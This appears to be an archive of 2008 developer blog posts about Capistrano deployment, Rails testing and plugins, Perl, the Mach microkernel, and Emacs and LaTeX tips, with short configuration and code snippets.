After a complete Saturday of vegging out, I decided to accomplish something today. My initial target was to pull Craigslist rental listings for my housing app, but that led to me learning more about plugins, which somehow led me to reading about Capistrano. Yak shave, anyone?

I blazed through the book Deploying Rails Applications: A Step-by-Step Guide (Facets of Ruby). I skimmed through the first 4 chapters because they didn't present anything new to me. I spent much more time reading through chapter 5: the what, why, and how of Capistrano. After my first reading, I decided to test it out with my Dreamhost setup of housing app to try my luck.

One thing that threw me off initially was roles. Roles are simply different servers that are involed in the deployment. Each Capistrano recipe is run for all roles by default. For example, the deploy:setup recipe creates the initial directory structure on the server for checking out the Rails application. Capistrano tried to run this recipe on both my :db and :app roles. I couldn't find a way of adding an exception to what roles an existing recipe is run on, so I removed the :db role entirely. I didn't have a use for a :db role anyways, but I could see that as a problem in the future.

Next, I wrote a small task to keep database.yml the same between deployments:

task :fix\_config, :except => { :no\_release => true } do
  run "ln -s #{shared_path}/config/database.yml #{release\_path}/config/database.yml"
end

after 'deploy:symlink', 'fix_config'

I also overrode the deploy:restart task to fit with Phusion Passenger.

namespace(:deploy) do
  desc "Restart Passenger.  The file is deleted when it restarts"
  task :restart do
    run "touch #{current_path}/tmp/restart.txt"
  end
end

After that, it was clear sailing. The deployments were unacceptably slow because a checkout of my project is 62MB (darn your edge rails!). I found the Rails site guide to Capistrano to be very good. The same can't be said for the main Capistrano site. The saving grace for that is all the methods are well commented and straightfoward if you read through the Capistrano source.

If I had to summarize Capistrano, I'd call it an interpreter for a Rake-like domain specific language to records and play back commands. Specifically, it's useful for Rails deployment because it automates tedious and error prone sequences of commands to deploy a bundle of code to a web directory, run any scripts or rake tasks, and kick any servers or services. As an added bonus, it sets a cute convention for directory structure and allows you rollback to different deployments. It's especially easy to pick up if you've written any Rake tasks in the past. I can see how Capistrano can be useful outside of Rails projects as well. It's simply a great little tool for automating commands.

Fuck Fixtures

Jerry Cheung — Wed, 9 Jul 2008 00:00:00 +0000

When you first start testing a newly created application, fixtures might seem very appealing. They're easy to write, they make sense, and they quickly create valid or invalid instances for you to test with. Unfortunately, fixtures don't scale with a growing project. They quickly get out of hand, and you'll end up spending more time fixing your fixtures than your tests and code. So fuck you fixtures, and good riddance.

Fixtures are the devil because:

they're brittle.
they don't work well with complex association with foreign keys.
they don't change when your schema and models change.

Rails 2 fixtures are nicer, but it's much of the same. If you don't believe me, just keep using them and you'll know what I'm talking about at some point.

A Valid Case

One interesting case my friend came across the other day was using fixtures for rspec tests. As described above, I think model fixtures for testing is both brittle and hard to maintain. However, he was running across the case:

it "should save to the freakin database" do
  @some_model.save.should == true
  debugger
end

This test passes with flying colors... But seeing is believing, and if you login to the test database, you won't be seeing a saved record. This is generally a good thing because once the test is finished, the transaction is rolled back, and you'll have clean data independence between tests. The downside is when you're testing something like Sphinx that assumes there's stuff in the database to work with, it won't work. The above example will pass, and if you break at the debugger line, @some_model.new_record? will be false.

So What Now?

Other than that valid case, most problems should be solvable by stubbing and mocking. If not, then refactor your code so that it is! One particularly delicious piece of syntactic sugar called Factory Girl. For a short description of what it does, check out this blog post.

Rails Webapp Engineering

Jerry Cheung — Fri, 4 Jul 2008 00:00:00 +0000

The day after I came back from Australia, I started my new job at Coupa Software. I'm absolutely loving it at the moment because of the awesome people and the amount of software I'm learning. Here's just a few that I've picked up in my first week that I'd like to jot down.

Skinny Controllers, Fat Models

Here's one article about it. It really really helps out with testing.

Association

composed_of

cmd-k clears terminal window
rake stats
script/spec for an individual test
send_data, send_file
render_to_string - returns string, use with send_data
Enumerable:inject
- same as Scheme accumulator I used in 61A
PDF::SimpleTable
- really really easy to use reporter generator.
request.xhr? - if request is ajax-y

Getting All Tables

ActiveRecord::Base.establish_connection(RAILS_ENV.to_sym)
connection = ActiveRecord::Base.connection

options[:tables] ||= connection.tables.reject { |t| %w(schema_info
sessions).include?(t) }

Platform of Choice

Jerry Cheung — Sat, 28 Jun 2008 00:00:00 +0000

I kept some rants and notes to myself a while back about what I thought about some of the operating systems I've used and currently use. These notes are more about day-to-day usage from the perspective of a software developer / power user rather than an objective review of each platform. I also update these pages with links to my favorite apps and tricks I've come across.

OSX

It just works.

I think Apple's done a great job of make a day-to-day OS for dummies. That way, when I want to feel like a dummy and not obsessively configure every freaking detail, I can just make some common sense assumptions and start working.

On the other hand, I like how OS X doesn't make you hit a brick wall once you've done the common simple cases. If you wanted or needed to, it's perfectly accepted to open up and Terminal and have at it. Whether it's a simple shell script to do some text munging, or a regularly recurring task with cron, Apple has made it easy for *nix geeks to be productive outside the pretty Aqua UI.

I dislike fanboys. Everyone new to OS X should check out "What is Mac OS X" for a serious myth debunking and very interesting history and details about OS X.

I'm learning to program with Objective-C and Cocoa, so there'll be on more these later.

Software

Since it's so easy to compile applications from *nix systems on OS X, linux apps are readily available on OSX. Both Fink and MacPorts are good package management systems.

Namely Great light freeware launcher of applications. Quicksilver is too slow on my ibook.
Camino I used this browser for quite a while because of some nit-picky details I had with Safari. It integrates better with OSX better than FF, but doesn't let you have extensions like FF.
HandBrake Rip dvds to mp4, avi, or ogm.
Terminal comes with OS X by default, but make sure you change the terminal type to xterm (instead of xterm-color) or else your screen sessions won't have a backspace.
SSHKeychain a very well done wrapper around ssh-agent. It uses apple's Keychain to store your key's passwords, and will auto lock your private keys on customizable events. Learn more about ssh in general here
Parallels For $80, you could have a very sophisticated and usable VM to test against all different types of OS's. I have not tried VMWare on OS X yet.

Linux

A fan boy's fantasy or salvation for corporate environments?

Sometime before high school, my dad brought home 2 O'Reilly Linux books. He never looked at them again after he wrapped them, but told me that *nix was important. This confused me since he was a Windows admin guy. The book was on RedHat 5.1 and I installed it on my newly upgraded Pentium MMX 233/266Mhz machine. I got really excited about the philosophy and freeness the books touted. Watching Gnome start up, and something non-Windows on my computer was also a treat. Fortunately for me, those early windowing apps were absolute garbage. This forced me to the command line and made me learn how to get around without a GUI. I remembered my DOS days very fondly, so the transition wasn't a big deal. I remember having a heck of a time getting a floppy to mount in Linux. I had to ask Sean's dad (a Berkeley professor!) because it was so frustrating. Man pages aren't designed for impaitient noobs. RedHat was a gateway drug for me. I moved on to try several different distributions. At the time, I tried them haphazardly and didn't really know what I was looking for. I judged each distribution by how hard it was to install and how easy it was to get software loaded on it. The RH book totally lied about RPMs. I tried Slackware and enjoyed the packaging system much more than RPMs. When I volunteered for the ACCRC refurbishing computers for nonprofits, I installed Suse 7 on those machines. After I tried Debian Potato, I was pretty hooked. Woody was even more amazing (fresher packages). Even today, after Ubuntu has redefined ease of use, I continue to use Debian because I see no reason to switch.

Applications

pork - the best aim/irc client, ever.
gnu screen - an absolute must if you use ssh. It's not impressive until you customize your .screenrc Usually it's nice to have screen running to keep your ssh sessions alive as well. If you're unlucky and have your screen killed, then you get a message: Suddenly the Dungeon collapses!! - You die...

DOS

Instant bootup, instant shutdown, excellent throughput, zero hassle, what's not to like?

640K ought to be enough for anybody - incorrected attributed to Bill Gates

DOS was an easy to love operating system. Any negative brought up against DOS can be "scoped out". I didn't miss multitasking; It had graphics and sound;

I plan to explore more with FreeDos when I set up my VMs

Pros

instant bootup/shutdown. Unrivaled by anything available today. It's even faster than my stupid cell phone.
minimal set of commands. It was very easy to remember them and use.

Cons

setting up extended memory was hard :(
I wish the commands and options were more *nix like.
instant shutdown is a double edged sword

Windows

Good to you if you don't know any better.

After I put debian on my desktop computer and bought an ibook for a laptop. I stopped using windows completely. The NT family of OS's were solid, and I never really had any problems with XP. On the other hand, I didn't have any problems because I was very careful with what I did on that computer. I haven't kept up with Vista at all.

Fuzz Testing and Being a Dick

Jerry Cheung — Wed, 11 Jun 2008 00:00:00 +0000

I really couldn't help myself with this one. Someone gave me the privledge to play around with their pet project, and the first thing I thought of was to read the HTML, and write a bash loop to spew all over it. We both got a kick out of it.

The end result is both hilarious, and kind of artsy too. I think it greatly encapsulates my feelings towards input validation.

my $perl;

Jerry Cheung — Tue, 20 May 2008 00:00:00 +0000

My first exposure to Perl was near the end of high school when I was working as a computer assistant at the USDA Forest Service. I really can't recall the exact gut feeling Perl gave me at the time, but I imagine it was a mixture of disgust and delight. A few years later, near the end of my undergrad career, Perl came back into my life. Only instead of a few simplistic scripts, Perl was now the core language for my job.

At the USDA, my main duty was to troubleshoot and help out with small computer problems. This included plenty of mundane tasks like cataloging and auditing old unused hardware, reimaging peoples' laptops and helping people with network issues. Fortunately, my super-nice boss Keiko let me have fun tasks like tweak and mess around with the web templates (my first exposure to CSS), and write and maintain little scripts. Mike the IT guy also loaned me his llama and camel books. Both of these were written in a very light-hearted and cheerful tone. That bit really stuck with me.

Perl came in the form of a single large file that had the responsibility of summarizing and publishing journal articles to the web directories. I tweaked this file several times, and each time involved multiple searches to find where I was supposed to make changes. The script was laid out like a well organized essay. It started with an introduction of all the global variables and configurations the rest of the script used. Then it did a lot of preparation work to do checks and to satisfy assumptions. This was followed by paragraph after paragraph of all the tasks that the script was able to handle. Finally we concluded with the CGI parameters parsing and a giant block of conditional logic to dispatch what needed to be done. There was comic relief throughout the script in the form of comments the writer wrote to himself. I hated reading through it, but at the same time, I loved the amount of time and effort it saved everybody. Instead of a program, I thought of it more as a batch script of commands with just a sprinkle of glue logic to make it all come together. It could've been done cleaner, but there's are appropriate times for quick and dirty as well.

That script taught me a width breadth of new and fun things. My first encounter with regexps was in Perl, an indispensible tool. I also saw closures and used them before I even knew what a closure was. There were all these mystical constructs obfuscated by the gross overuse of implicit hidden variables and inconsistent syntax. It was like a riddle that you solved backwards by spying on it's behavior.

Fast forward 4 years to the end of my Berkeley education. I work at RSSP-IT (previously Rescomp). What's different about this new situation? Well, I know more theoretical computer science, and I also know more software engineering. I'd also like to think that I've come a long ways in recognizing good design, and hope that I can mimic and even come up with good designs on my own. Perl hasn't changed since the last time I saw it. However, instead of a few simple scripts run start to finish by a cron job, this incarnation of Perl was a decade of codebase that powered live critical systems. Here and there I still see a few scripts that run from start to finish. But for the most part, I see large systems with beefy data backends, reusable modules of logic, and complex dependencies and hierarchies. Generations of programmers sweat and sticky keyboards have gone into the code. The code could probably be plotted on a timeline to chart our follies and achievements. DBIx::Class? Great idea. Inline html for cgi scripts? That was a hiccup and a bad choice.

All in all though, I continue to feel the same love hate relationship with Perl. The funny part is that I love it for it's flexibilty in usage, but I also hate it for the exact same reason. I don't think Perl is my favorite language, but Perl will always have a special place. I love the one-liners you can do with Perl. I love the time I've spent with the Perl Monks. I love thinking about automating small tasks and finding cute solutions with Perl. This doesn't include writing a large maintainable application in Perl. That much discipline and structure just doesn't go well with this language. Sometimes you see a problem, and you can just immediately visualize the stream of gibberish syntax to solve it. You know it won't be understood by other people. You know it won't be maintainable, and someone will hate you in the future for it. You know it's a hack. But you also can't stop smiling, because you know you're having a good time with Perl.

Miscellaneous Stuff

Switch control statement in Perl 5.1.10

given ($^O) {
  when (/linux/)      { $file_path = '/mnt/foo' }
  when (/mswin32|nt/) { $file_path = '\\\C:\foo.exe' }
  default { die "FOO was not intended..." }
}

Kernel Designs

Jerry Cheung — Sat, 3 May 2008 00:00:00 +0000

I really enjoyed my introductory operating systems class at Berkeley. The class focused on classic high level OS concepts like process models, virtual memory, concurrency, and more. To go along with the material, teams of 4 formed to implement components in a toy OS called Nachos. The purpose of this was to keep students focused on the concepts rather than wade through the quagmire that is x86 assembly.

I was very proud of the finished project. We wrote basic processes and threads with priorities, memory manangement, system calls, and a C chat program. All of this could be booted up and ran on the virtual 'Machine' object that emulated a MIPs architecture machine.

Unfortunately, I did not follow up with more advanced topics after the class, and while those high level concepts are solid fundamentals, I sorely wish to see what designs have been tried in practice, along with their benefits and drawbacks. Rather than dive blindly into the source of popular open source kernels from Linux and BSD, I plan to start by reading some research papers on kernel design. Hopefully this will refresh my memory about some key terms while letting me survey what's available.

Mach Microkernel

The Mach kernel is a microkernel developed by CMU in the eighties to address issues with multiprocessors and networked environments, and the growing complexity of BSD systems.

BSD began with a very clean and simple abstraction of files to model major components such as devices and memory. Using files allowed for very natural manipulation of these resources with pipes and simple utilities. Unfortunately, this abstraction did not fit later desired features. This lead to adding orthogonal abstractions for different tasks. Mach tries to bring back a clean uniform interface with a objected-oriented abstraction. The 4 basic abstractions are:

task - execution environment. Think of this as a basic container for everything needed to run a program. Things like virtual memory address space, file descriptors, threads, capabilities and other resources. Example messages: fork, allocate (memory)
thread - basic unit of computation. Similar to threads in processes for Unix. Example messages: destroy, suspend, resume.
port - communication channel. A way to reference other tasks and threads. An object sends a 'message' to another object through a port on the receiving object. Messages are queued up in ports. Think classic Smalltalk and Objective-C style message passing.
message - actions and data between tasks and threads.

The emphasis on separating tasks and threads seems like a big idea of the paper. I originally thought that Unix had multiple threads per process, but from the paper, it sounds like at that time Unix used very expensive forks and hacks in order to achieve concurrency. A great example they used for supporting the task/thread abstraction is machines with N processors. Instead of creating N heavy weight processes with 1 thread each, Mach would create 1 heavy weight task to describe what's needed to run, and N relatively lightweight threads to take advantage of the concurrency.

Virtual Memory

The abstraction for virtual memory allows Mach to be machine independent. Each task holds it's own 'address map' of what memory it owns. This is the same as the basic concept I learned in class. The maps map from address to either virtual memory (VM) objects, or to 'shared maps'. The 'shared maps' are a way for tasks to share memory. VM objects are either pages that have already been fetched, or instructions of where to fetch the page if it hasn't been fetched. Pages themselves have attributes that specify their current status and properties.

Interprocess Communication

BSD sockets are simply streams of bytes left up to the application to interpret. Mach's port/message abstraction provides uniform interprocess communication. There is no difference between two processes on the same host talking, verus two processes on different network hosts talking. On top of that, the port/message mechanism lets you add meaning and stricter checking on the data that is passed around. Capabilites of who can send and receive what can also be enforced.

Emacs Tips

Jerry Cheung — Tue, 22 Apr 2008 00:00:00 +0000

Earlier, I wrote a quick into of how to customize your emacs, but then I realized that I had no running list of cool emacs tricks. This article sets out to remedy that with a list of my favorite commands. It's by no means complete, so I'll keep adding on to when when I learn more stuff. The Gnu Emacs Manual is a good reference to flip through from time to time to learn new tricks.

Getting Help

A good one to start with that I admit I don't use as much as I should is 'M-x help'. This presents a menu of help sections available. I recommend sticking with 'a' for apropos and guessing what you're interested in.

Identing

The trick that never grows old is to re-indent a region. The command to do it is 'C-M |', but it's really inconsistent and hard to type all three of those at once. Fortunately, 'ESC' is a stick meta, so I generally do 'ESC' [let go] 'C-|' (the pipe character). This is great for when you just paste from another buffer with different indents, because the most recent paste is the selected region that gets reindented.

Find and Replace

The find and replace can be started with 'M-%'. You type the string to find, RET, then the string to replace. Emacs will highlight each occurance and prompt you for each replacement. Space to skip, 'y' to replace and go to the next replacement, '.' to replace and stop, '!' to replace all remaining.

The same can be done with regular expression find and replaces with 'M-x query-replace-regexp'. Remember that to create a group in Emacs regex, you have you escape your parenthesis. So to do the Perl equivalent of s/foo (bar)/\1/, you would do 'M-x query-replace-regexp', 'foo (bar)', '\1'.

Diffs and Patches

Sick and tired of straining your eyes and hands to applying those ever tedious diffs and patches? Fear not, diff-mode to the rescue!

It's a pretty common use case to pick specific change in one branch of subversion and apply it to a stable branch. The way I work through this is to:

svn diff BRANCH_OLD BRANCH_CHANGES > changes.diff
emacs changes.diff

Immediately, you'll notice a much friendlier, more colorful diff. You can jump from hunk to hunk with 'n' and 'p'. If you RET on a hunk, then it'll jump to the source file to give you more context. To apply or undo a hunk, simply 'C-c C-a'. Emacs will prompt you if it's an undo.

If you don't have a diff on hand, you can specify which two files to diff and use ediff-mode. Simply open an emacs, M-x ediff-mode, and specify the two files to diff. It'll put them in two buffers A, and B. Press '?' to bring a menu of keys. The main ones are n, p, a, b, wa, wb.

Macros

The most basic usage is to do 'C-x (' to start recording a macro; do what you need to do; and 'C-x )' to end the macro. 'C-x e' executes a macro, and you can 'M-x apply-macro-to-region-lines'. I still need to learn to use these better ;)

Managing Buffers

To split the window, use 'C-x 2', and 'C-x 3'. They split the window horizontally and vertically respectively. To switch buffers, 'C-x b'. You can tab complete the file names here. To see a list of buffers, 'C-x C-b'. Switching to a directory will put you in dired-mode. More on that later.

Cut Copy and Paste

Beyond the basics of cut, copy and paste, I also like 'C-x r d' which deletes a selected block region, and 'C-x r t', which inserts a selected block region.

Running Shell Commands

The easiest case is when you just want to quickly see the output of a command without switching to another terminal. Simply do 'M-!' and type your command, and the output will show in the minibuffer. Another clever one that I don't use as much is 'M-|', which runs shell-command-on-region. The best part is that if you wanted the output of the shell command in the buffer you're visiting, just M-! or M-| with M-5, or any other number. I use this one all the time when I have to type a shebang line and I'm not sure where the binary is located:

#! M-5 M-! which python

Debugging

I don't use gdb and other debuggers enough to have all this in my muscle memory yet, but Emacs is a dream when it comes to debugging C. 'M-x gdb' starts gdb in a separate buffer. Then you can specify breakpoints in any source buffer by doing 'C-space'. Other useful commands basic commands include:

C-c n - next
C-c s - step
C-c f - run to end of frame

I haven't used the other debuggers, but I know there's they're available for other languages.

Rails Tips

Jerry Cheung — Wed, 12 Mar 2008 00:00:00 +0000

I have started, abandoned, and restarted many pet rails projects. All hype aside, I've collected a fair amount of rails idioms. Whenever I come across a problem I know I've dealt with in the past, I usually run a few greps through my past projects to look for an answer. The following pages are disorganized tips of things I have done that are useful.

if an ActiveRecord::Base object 'foo' doesn't agree with what's in the database, simply do foo.reload. To make changes in the instance go to the database, do foo.save. For many of the Base methods, you can append a ! to the end of the method name and it'll raise an exception instead of returning false on failure. For example, save vs save!
If you can't find a method or variable in a class, check the parent class (Class ChildClass < ParentClass), or look for 'include ModuleName', where ModuleName can exist in the lib/ or vendor/plugins directory.
Rails config variables
- also good for setting vars for actionpack components
config.observer... - registers a callback for when something happens to a model. Can be done with before_save, but can also be done externally and shared between models.
ActiveRecord::Base.logger = Logger.new(STDOUT) - to just have SQL statements print to stdout.

Testing

autotest
- This gem watches for filesystem changes and only runs tests that have been updated. It's fast and it colorizes results. I use it in conjunction with RSpec, and rspec-rails.
rails_rcov - wrapper that gives you rake tasks to rcov. To show test code coverage.
CruiseControl - continuous integration tool that reports build and test errors. The link is specific to ruby projects.

RSpec

RSpec is an implementation of Behavior Driven Design (BDD). It's a declarative form of design and test. When I first learned testing, I learned it as imperatively setting up state, doing some actions, and then verifing the end state. The big problems I had with testing was always getting tangled up in complex dependencies between different components. This made it really hard to focus on the system being tested. I'm looking more into using mocks and stubs to replace fixtures and real models when it makes sense to. BDD helps with this because it focuses on beahavior and specification rather than implementation.

RSpec - the library itself
- gem install rspec, rspec-rails, diff-lcs, ZenTest
- script/generate spec
- rake -T | grep spec
- should, should_not are Spec::Expectations
mock_model
- good for mocking up ActiveRecord objects

Plugins and Gems

schema-browser
restful_authentication
- straightforward plugin that requires just a little bit of tweaking and config. Works great if your user model acts_as_state_machine.
role_requirement - plays well with restful_authentication. I haven't tried this one before. I did use Active RBAC with positive results before.
acts_as_state_machine - amazing mixin that can make your models act like a state machine. It allows you to register callbacks for when a model's state changes.
SyslogLogger - logger that goes to syslog. Not a fan of this one, but I've seen it in use.
SimpleConfig
- haven't used it, but will work.

Gem Dependencies

I like to have my projects be self-contained. This means that when you check out one of my projects, you should be able to setup your database, do a rake or two, and be on your way.

There are several fixes to this problem. The cleanest one that I've choosen is to update to Edge Rails with:

rake rails:freeze:edge

then follow Ryan's Scraps Gem Dependencies article.

Unfortunately, upgrading to Edge Rails might not be feasible. In this case, one solution is to mimic what Edge Rails does:

mkdir RAILS_ROOT/vendor/gems
gem install FOO --install-dir RAILS_ROOT/vendor/gems

To make your rails app recognize the installed gems, update your environment.rb to look in the newly created subdirectory with config.load_paths.

Another interesting plugin that I haven't looked into is piston which gives you all the advantages of svn:externals, but also allows you to commit local changes to your own repo.

Escaping HTML

See ERB::Util for the following:

html_escape
url_encode
url_decode

Remember that if you wanted to use these in your controller, you have to require and include it. I recommend against using the shorthand versions because it sucks for readability.

Metaprogramming

When I was trying to create a RESTful TagsController with the acts_as_taggable plugin, I created a form that looked like:

<input id="tag" type="text" size="17" name="tag"/>
<input id="taggable[id]" type="hidden" value="14" name="taggable[id]"/>
<input id="taggable[type]" type="hidden" value="Place" name="taggable[type]"/>

When this form was posted, I would get a string for the class of the object that I wanted to tag in taggable[type]. In normal Ruby, you can call Kernel.const_get(classname) to get the Class object for classname. In Rails, this has been simplified further to be just classname.constantize

Inheritance

Namespaced Models:

class Pet < ActiveRecord::Base
  self.abstract_class = true

  belongs_to :person
  validates_presence_of :name
end

class Dog < Pet
  def bark
    "baaw"
  end
end

Cool Syntax

assert_equal 1, Developer.connection.select_value(<<-end_sql).to_i
  SELECT count(*) FROM developers_projects
  WHERE project_id = #{project.id}
  AND developer_id = #{developer.id}
end_sql

Miscellanous

Hash.symbolize_keys! - turns all keys to symbols

Premature Software Testing

Jerry Cheung — Mon, 10 Mar 2008 00:00:00 +0000

I've fallen victim to it a few times now and would like to remind myself of the causes and consequences. Don't get me wrong, I love testing and have attempted/done/failed at it ever since CS61B. I've used standardized test frameworks, hackish quickie frameworks from school, and created my own small frameworks for specific projects. Testing is a good thing.

But there is such a thing as testing too early. My most recent mishap happened during my internship. I finished a tool that I thought did what I want, and fully tested it. Well, the plus side was that it was perfectly tested against what it does, and worked beautifully for all possible inputs. The downside was that the code didn't do what it was supposed to do! I misunderstood my own requirements and coded something wrong. Then instead of having tests that could support me as I refactored, I ended up with an extra set of barriers that kept me constrained to wrong solutions. In other words, I believed in my tests and this slowed down my redesign towards a correct solution.

Another time this happened to me was during cs164 while I was writing an Earley parser. This one cut me deep because the solution just happened to work against the cases I specified in my tests. Then about one week before the due date, I noticed that I misread the original paper and implemented a system with different semantics. All the tests that exercised individual methods were scrapped. In the end, all tests were scrapped :(

I lost many hours on both those mistakes, but I have noticed different cases when I'm more successful. Here are some guidelines I think work well:

When to Start Testing

start testing when you start coding for real.
start coding for real after you've read and re-read your spec enough times to recite it backwards. Think of a design, think of how use cases would fare against that design.
if there are sections of the design that are ambiguous, or if you aren't sure of what tools to use to implement something, explore with quick dummy code and take notes. Don't even bother putting the dummy code in your repo, or actual directory... It'll only tempt you to keep crappy code. Throw the code away, but keep the notes.
with design doc, and notes from exploring in hand, try writing some real code. If you find yourself rewriting a ton of stuff repeatedly, you didn't design/explore your problem space enough before starting.
when exploring concepts and designs, it's a good idea to explore what test strategies are appropriate. I say appropriate because there'll always be some gigantic mammoth of a testing framework with more features than your project needs and a configuration and learning curve to match. Sometimes, the framework that's "just right" is one that you glue together.

How to Test

There are plenty of good guides out there on 'what' to test, but I think many of them provide examples that are too trivial and brittle against refactoring.

when testing data models, focus on getting consistent domains, and lightweight models. If it's hard to test, it might indicate a flaw in your design.
unit testing is fantastic, but double check that the methods you're testing are actually relevant and useful. A correct method doesn't imply a useful one. Also, instead of tying very strictly with method names, it can be more readable and flexible to describe your test in terms of the action or mutation.
don't strictly focus on unit testing. Do the functional tests in parallel to expose useless methods and flawed interactions early on. The same applies for integration tests. Also, the sooner you communicate with modules written by other members of your team, the better.

We all knew that testing too late or not testing at all can cause cancer, but there is such a thing as testing too early. It wastes your time, and may restrict you to a suboptimal or incorrect design. Furthermore, testing isn't the same as designing. No amount of random testing will yield a solid design. Rather, an elegant design will naturally encourage you to think about tests, and those tests can then verify your implementation. Testing is like eating your vegetables: it's good for your health in the long run, but eating too much or the wrong kind will give you the runs.

Customizing Emacs

Jerry Cheung — Thu, 14 Feb 2008 00:00:00 +0000

My editor of choice is eight megs and constantly swapping. I didn't meticulously choose my editor, but rather had one forced upon me freshman year in CS61A. Being young and impressionable at the time, I saw no downsides to the editor and kept using it more and more day after day. First it was coding, then notes, then email. Now four years later, I'm basically married to my editor, for better or for worse. For a complete reference of my .emacs file, see this link.

Movement

One of the most important features of an editor for a developer is ease to move point, emacs terminology for cursor, within a file and between files. I'm glad I took that hour in 61A lab to go through the emacs tutorial (M-x tutorial) and learn the basics of movement. In terms of customization, the only option I changed is mapping M-g to 'goto-line'.

(global-set-key "\M-g" 'goto-line)

Two feature I still tend to neglect to use are 'bookmarks' and 'tags'. Bookmarks allow you to save a specific location in a specific buffer, but the keybinding to set a bookmark is hrm, rather cumbersome. Tags are this magical feature that I've had mixed results with. It allows you to index and quickly jump to interesting places like function and class definitions. Unfortunately, sometimes it also likes to index uninteresting places and jumps you to those.

Text Manipulation

Ever wanted to leverage the power of unix on some region of text? Trying using M-! (shell command), or M-| (shell command on region). As if that's not enough, if you prefix either of them with M-[k] for some number k, then the output of the command gets inserted at point. This is great for sorting (sort -n) on a bunch of imports or includes, and also for inserting useful snippets of text (which perl, date)

Another amazing feature is rectangular editing:

C-x r t
C-x r d

These two commands mean insert and delete respectively. The two complementary use cases are to select the beginning of several lines and use 't' to insert a comment character and then use 'd' to delete them when you're done. Sure you could use M-x comment-region, but sometimes that doesn't act quite right, and these two are better built-in to my muscle memory.

Another super lazy trick is M-/. This tries to complete the current word you're typing with words that are in other buffers. If it's not the right one, just M-/ to cycle to the next one.

Look and Feel

Let's face it, to become a true hacker, you have to adopt some obscure interface that's so catered to you that it'll wow and gag everyone else who dares try to use it. Such is the case of my own settings. I didn't do too much to it, but even little things can make a big difference.

My favorite quick thing is to change the text to be white on black:

(set-background-color "black")
(set-foreground-color "white")

Next, I like syntax highlighting so I turn on the extremely poorly named:

(global-font-lock-mode t)

Then, I turn off a few things that I know I won't use:

(setq inhibit-startup-message t) ; I'm using emacs, duh
(menu-bar-mode -1) ; menus can still be seen with M-`

Broken Things

Even though emacs can be all things to all people, there have been a few annoyances I can't figure out. My worst beef is how backspace has different behavior wherever I go. I understand that it's most likely because of the different shells and environments I'm using, but it's too bad emacs can't just magically figure it out for me. Right now I have a line in my .emacs:

; fix annoying shell backspace problem
; 0 for ibook, 1 for imac
(normal-erase-is-backspace-mode 1)

Note how I have to edit that value by hand or otherwise be doomed to forward-delete instead of backwards.

Modularizing .emacs

.emacs is the config file that lives in your homedir and is loaded when Emacs starts. I'll be honest and admit that my .emacs is pretty messy at the moment and needs a serious refactor. I'm both delighted and exasperated that my config needs to be programmed. I read this post talking about some emacs tips, and I'm interested in learning more about autoload and optimizing some of the calls.

Common Latex Usage

Jerry Cheung — Thu, 14 Feb 2008 00:00:00 +0000

Since high school, I've used word processors less and less. I hate how slow they load, I hate how annoying and proprietary the formats are, I hate how ugly they end up printing and how hard it is to customize my documents. Enter Latex.

Overview

Wikipedia defines Latex to be:

LaTeX is a document markup language and document preparation system for the TeX typesetting program.

In practice, I like to think of it as a document processor plugin for the editor of your choice. Instead of only being able to edit essays, you can edit any type of document you like, be it a math formula cheatsheet, or a full page banner.

My history with Latex has been far from ideal, but I've come to terms with the downsides enough that I can use it exclusively. Here are the pros and cons as far as I see it:

Cons

Learning a new language - Instead of using menus to apply formatting and styles to sections of a document, Latex uses tags to describe the semantics of the sections of document. This requires the user to learn a set of tags and environments.
Anti-visual - Latex's about as far from WYSIWYG as possible. In fact, you can't even preview your document as your typing it. Sure you can install an emacs mode for preview, and you could have 'xdvi' running to keep a continuous preview of your document, but the fact you have to 'compile' the document means an unavoidable wait. If you're a person who can't work without a live preview, don't even bother with Latex.
Anti-portable, Anti-collaboration - If your friends don't use Latex, hell, I'd be surprised if they've even heard of it, then you can only give them the unmodifiable output PDF. They can't directly edit your draft as they would in Word and send it back to you.
Focus on layout rather than semantics - Latex is the opposite of HTML in that you have to control every bit of formatting yourself. It really clutters up the document and isn't nearly as easy to maintain if the document is updated often.

Pros

Super-portable (output) - everyone worth talking to will be able to open PDFs. You also be print-perfect output, everytime.
Anti-bloat - choose your editor, compile when you feel like it.
Semantic documents - the ability to restyle your document, but with more control than CSS offers.

Common Commands

\documentclass{article}
\usepackage{fullpage, amsmath}

My Computing Environment

Jerry Cheung — Tue, 12 Feb 2008 00:00:00 +0000

It happens to all developers. You're stuck in a place where you need to get dev work done, but you have to use a computer that isn't meticuously tweaked to all your obscure settings. You try using your editor of choice, only to find all your custom keybindings broken and the backspace not working. The chair you sit on is too hard. The screen is too small, too flickery. Everything just feels wrong.

I hate other peoples' computers. I hate everything about working on another person's computer. I hate how it doesn't act exactly like my computer. I hate how nothing is where I expect it to be. I hate not having M-g mapped to goto-line in emacs almost as much as I hate not having emacs on a machine!

I've switched through a lot of different ways of doing things. The good bits stick, the less useful stuff gets forgotten. I definitely don't think I have my ideal environment set up, but there's definitely slow incremental progress.

Painware

Let's start with the simple stuff. Long development times require a comfortable setup. For me, this includes a dual display setup, an Microsoft ergo-keyboard, and a comfortable chair. You'd think this would be common sense, but I only got this setup after extremely sore forearms and a messed up back during my compilers project. Specifically, I use the Microsoft Natural Ergo 4000, and a beefy mesh backed chair with lumbar support I got from Costco.

Hardware

The two computers I use everyday are a 12" iBook G4, and a 24" Alumninum iMac. My requirements for computer hardware isn't about raw number-crunching power. Instead, I'd much rather have a computer that's fast enough and doesn't harress me. Noise is the big one for me. I loved my last desktop cause it had just the right amount of cooling with so little noise that I could sleep a meter away from it and not hear it being on.

If I could redo this setup, I would consolidate the two machines into a single Macbook Pro because it's a pain in the ass to have the same environment across multiple machines.

Operating System

I like OS X for it's unix internals and consistent UI and usage patterns. I can't use Windows because their shell isn't usable enough. I still like Linux for dev work, but I don't like it non-dev related activities: e.g. web surfing, chat, organization.

Tools

GNU screen - console window manager
sed and awk - this one hasn't stuck yet.
ack - After I learn to use ctags better, this might not be necessary.
git and Github, with GitX desktop client.

End Bits

As you can see, it doesn't sound like I use that many differet tools. Just like my software, I like to keep my dev environment simple and really focus on a core set of functionality. When it comes down to it, all I need is something to write in, a browser to look up stuff, and a shell to glue everything together. More and more, I find myself looking for hosted solutions to local tools because it's just easier to maintain and more accessible.

External Resources

Silent PC Review - is a fantastic site by Mike Chin with extensive tests about computer component noise and whole systems.
Why iBook?
